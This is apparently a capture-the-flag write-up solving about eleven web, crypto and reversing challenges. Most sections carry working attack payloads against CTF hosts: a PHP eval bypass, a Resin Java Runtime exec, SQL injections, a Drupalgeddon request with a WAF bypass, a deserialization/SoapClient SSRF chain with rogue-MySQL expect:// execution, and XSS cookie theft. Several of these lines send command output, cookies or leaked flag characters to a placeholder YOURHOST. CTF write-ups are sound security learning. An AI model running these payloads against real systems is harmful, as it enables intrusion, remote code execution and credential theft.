We got file with sequence recorded from /dev/input/event* file. It's easy to replay events from file using following command
# sleep 3; cat event0 > /dev/input/by-path/platform-i8042-serio-0-event-kbd
After that switch to another terminal window or text editor and we will se following commands
vim key.txt
32ix^[o^[5if ^[Icde^[A653^[BBi3333^[BBicdef87236363^[llr2elr20elxlxlxhi3^[A64^[kdd:wq
Now we need to replace ^[ to the vim-syntax <esc> and after that we can replay it.
vim -c ':execute "normal! 32ix\<esc>o\<esc>5if \<esc>Icde\<esc>A653\<esc>BBi3333\<esc>BBicdef87236363\<esc>llr2elr20elxlxlxhi3\<esc>A64\<esc>kdd"'
The flag is cdeff3fcdef87236363f23333f265364
Source code of page contains <!-- POST,command,inform() -->
, so let's try to send something. If we send something like phpinfo() as command, we will see error No. '(T_STRING) phpinfo'.
. Seems like there is some sandboxed eval, but it can easily be bypassed using string to function name conversion
$ curl -d '"system"("id")' http://172.104.137.194/
The flag is md5('Reality is wrong. Dreams are for real.')
6 min task xD.
http://92.53.66.223/?jbfc=http%3A%2F%2Flocalhost/
shows us the self-included content. Seems like the script sends request using curl or file_get_contents. Lets try to read files. file:/// is blocked, but we still can use file:./etc/passwd
.
$ curl http://92.53.66.223/?jbfc=file:./var/www/html/index.php
The flag is EasyPeasy
There is binary written in go. After some reversing we got that it reads seed from the user, generate aes key and iv as 0x00-0x20 and 0x20-0x30 random generated bytes respectively, and encrypts user data using these key and iv. Also we can find encrypted flag here. The first block of encrypted data is the iv, which was generated by some seed on flag encryption, so we need to find that seed which will generate same 0x20-0x30 random bytes as the iv.
package main
import (
"os"
"fmt"
"math/rand"
"encoding/hex"
"bytes"
"strconv"
)
func main() {
iv, _ := hex.DecodeString("c629d55f67eed0585a81add421d0d357")
start := 1000000000000000
for i := start; i < start*10; i++ {
key := [32]byte{}
rand.Seed(int64(i))
rand.Read(key[:])
miv := [0x10]byte{}
rand.Read(miv[:])
if bytes.Equal(iv[:], miv[:]) {
fmt.Println("Found", i)
}
}
}
After some bruteforcing we got several seed values. At least one of them was correct. So no we can generate key using seed 2000000407966257
and decrypt the flag.
The flag is 583b4a1e5d34d34090de35b995cafda7
After some dirbusting we can find that application served by Resin server. Also there is /dev/
directory on the server protected by basic auth. Auth can be bypassed using following sequence http://172.104.154.29/;/..\dev/
. The /dev/
shows us file listing, so we can see task.php and it's copy task.php~~~edited which will disclose us source code.
<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
if(strlen($_GET['constr'])===4){
$c = new $_GET['constr']($_GET['arg']);
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
}else{
die('Swimming in the pool after using a bottle of vodka');
}
}
?>
The first check can be easily bypased due to php type conversion on numeric string comparision. Now we need to remember about Resin and read the docs. Resin uses PHP interpreter rewritten in Java, so it can use java classes. That's why we can use new java("java.lang.Runtime")
and thus obtain code execution.
$ curl -H $'Cookie: developer_testing_mode=240610708' 'http://172.104.154.29/;/..\\dev/task.php?constr=java&arg=java.lang.Runtime¶m[0]=getRuntime¶m[1]=exec&test=sh+-c+$%40|sh+.+echo+wget+YOURHOST/$(id|base64+-w0)'
The flag is md5('!!cruising down the street in my^^six-four^^')
We need to request page http://172.104.226.97/?get=flag
from local address. There was SQL-injection in Telegram-bot in users first and last name. So changing lastname to ' union select '1','2','3','4' from (select 1) where 'a'='a
will result with 2 in bot reply. We can find the user with SSH access in database, and after that we can read the flag from web through ssh tunnel.
$ ssh -N -D8888 -p2222 durov@172.104.226.97
$ curl -x 'socks5://127.0.0.1:8888' http://127.0.0.1:8080/?get=flag
The flag is 5dab4ef39defa2a0aae27c815de63072
After some fuzzing found that sending non-empty array in title parameter will lead to stacktrace.
{"err":"TypeError: string.split is not a function","trace":"TypeError: string.split is not a function\n at mapDomain (punycode.js:73:23)\n at Object.toUnicode (punycode.js:387:9)\n at createRecord (/var/www/dist/05da126b0edfb13d3b9377797b5f25d6/methods.js:130:32)\n at <anonymous>\n at process._tickCallback (internal/process/next_tick.js:182:7)"}
Now we have path to source files and so we can find hidden parameter style
and __NEW_FEATURE__
.
app.post('/api/id', async (req, res) => {
let _ref2 = await (0, _methods.createUser)({
style: req.body.__NEW_FEATURE__ && req.body.style
})
Using that parameters we can set any css rules for our board, so it's possible to read flag from tag attribute using css attribute selectors.
import requests
import string
import sys
import urllib
sess = requests.session()
FLAG = sys.argv[1]
pld = ""
for i in string.ascii_letters+string.digits + "_":
pld += "div#secret[content^=\""+FLAG+i+"\"]{background: url(//YOURHOST/log?c="+urllib.parse.quote(FLAG+i)+");}"
r = sess.post("http://172.104.246.110:9091/api/id", json={"__NEW_FEATURE__": True, "style": pld})
r = sess.post("http://172.104.246.110:9091/api/board", json={"userId":"2885545b-2103-4cd8-960d-8498f7e9d2fe"})
bid = r.json()["id"]
r = sess.post("http://172.104.246.110:9091/api/record", json={"boardId": bid, "title":"a", "price": 1})
The flag is 6172fe15244be1ede7a6d3064e2941f4
There was path hidden /js/contact_me.js
file:
// url: "/admino4ka/contact_dev.php"
The page is not exists, but there was index page in /admino4ka
path. There we can find three domains located on some server: wp.local, drupal.local, joomla.local, so now we need to find correct ip address. As i found from hints later, it supposed to be obtained from nginx cache through range parameter overflow
curl -H 'Range: bytes=-9734,-9223372036854766074' 172.104.246.110/admino4ka/
But also could be found on 404 page xD. At this point we have ip and domain names of three web apps, but all of them returns 403 for some reason. It can be bypassed using X-Forwarded-For: 127.0.0.1
header. Now we can access to Wordpress, Drupal and Joomla app. So the first thing every security researcher will try in 2018 in that case is Drupalgeddon(2|3). Actually there was some kind of WAF which blocked requests with %20 char, but it can be bypassed using $IFS.
$ curl -H 'X-Forwarded-For: 127.0.0.1' -d 'form_idezone[a][#lazy_builder][][]=ls$IFS-lah' 'http://drupal.local:63425/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
The flag is md5(enabled to be great)
wowsuchchain http://172.104.148.236/
Dirbusting host, and found adminer.php and index.php.bak files so now we have source code. The hmac check can be bypassed if we send array in nonce
cookie parameter. It'll lead to uniq_siq
be equal NULL so we can compute the correct hmac for our serialized data. Also there was predefined class with magic methods __destruct
peforming call on it's field, so we can use SoapClient and thus make ssrf.
<?php
$c = new SoapClient(null, array('uri'=>'', 'location'=>$argv[1]));
class Logger {
private $serverdata;
function __construct($a){
$this->serverdata = $a;
}
}
$pld = serialize(array("a", "b", new Logger($c)));
$hmac = hash_hmac('md5', $pld, NULL);
$enc = base64_encode($pld);
echo("Cookie: PHPSESSID=qwer; nonce[]=; hmac=$hmac; userdata=$enc;\n");
So now we can access adminer.php. In adminer we can initiate connection to our database and thus read files from server, but also there was expect://
scheme enabled, so we can execute OS commands.
$ curl -H "$(php t.php 'http://172.17.0.3/adminer.php?username=&server=YOURIP')" http://172.104.148.236/index.php?act=show
And listening for connections
$ python mysql_rogue.py expect://id
Connection from ('172.104.148.236', 42672)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The flag is c69a990b00307198ad5c6fc713082214
We got compiled python file. Luckily uncompyle decompiles it well. The script sends requests to http://172.104.158.159/
to register bot and then asks server for new command every 15 secs. There was XSS in bot register info, so we can steal admin cookie and access to bot control panel.
import requests
import base64
_id=requests.get('http://172.104.158.159/reg?new=1').text
requests.post('http://172.104.158.159/reg?bot_id='+_id+'&type=open',
data={'bot_comment': "1",
'bot_sysinfo':base64.b64encode("<svg/onload='new Image().src=\"http://YOURHOST/?\"+btoa(document.cookie)'>")})
We can see bot list it control panel, but there is no botnet-administrator. Lets analyze this webapp then. There was SQL injection in search
$ curl -H "Cookie: i_am_admin=yes_i_am" "http://172.104.158.159/bot_info?search='and+1=0+union+select+bot_comment,bot_id+from+bots+where+bot_status=1+and+bot_comment='botnet-administrator'--+1"
Now we can send OS commands to this bot using control panel, but unluckily this bot uses another password than our. Luckily there was echo
method
R={'bot_id':q,'pass':'wowsuch'}
...
if P=='echo':
O=n.split('|')[1]
B=('bot %(bot_id)s says: '+O)%R
a=U(B)
So we need to send echo
command with payload %(pass)s
to get the password and now we can execute commands.
The flag is 360edeed60e009fe2b4846be2759362d
We have wordpress with open registration, so we can register and write article drafts. Also there was print feature, which render article to PDF file. If we render the last published article, we can see that it decodes HTML entities for some reason, it means that we can inject JS code to renderer. The renderer was PhantomJS, and there was nothing interesting in it, so lets try to scan it's internal network. We can find minikube dashboard located at 127.0.0.1:8080. Here we can find one container named flag
so it definetly the place where we want to get rce. Minikube uses SockJS websocket to execute commands, but unluckily SockJS makes XHR request to destination first, but until we are executing in another origin, it'll fail. So we need to implement part of SockJS protocol in native WebSockets. Also we need to get terminal session id from server, and again, due to we are in another origin, we can't use XHR. But it's possible to render it in iframe and then get from PDF. So the final exploit was:
var id = "00483a184b2fa840eff3ef6709d8e070";
var socket = new WebSocket("ws://127.0.0.1/api/sockjs/505/tys4rvzj/websocket?"+id);
socket.onmessage = function(event) {
new Image().src="http://YOURHOST/msg?="+(event.data);
socket.send(JSON.stringify(["{\"Op\":\"bind\",\"SessionID\":\""+id+"\"}"]));
socket.send(JSON.stringify(["{\"Op\":\"resize\",\"Cols\":17,\"Rows\":39}"]));
socket.send(JSON.stringify(["{\"Op\":\"stdin\",\"Data\":\"id\\r\"}"]));
};
The flag is Hallo_from_bykva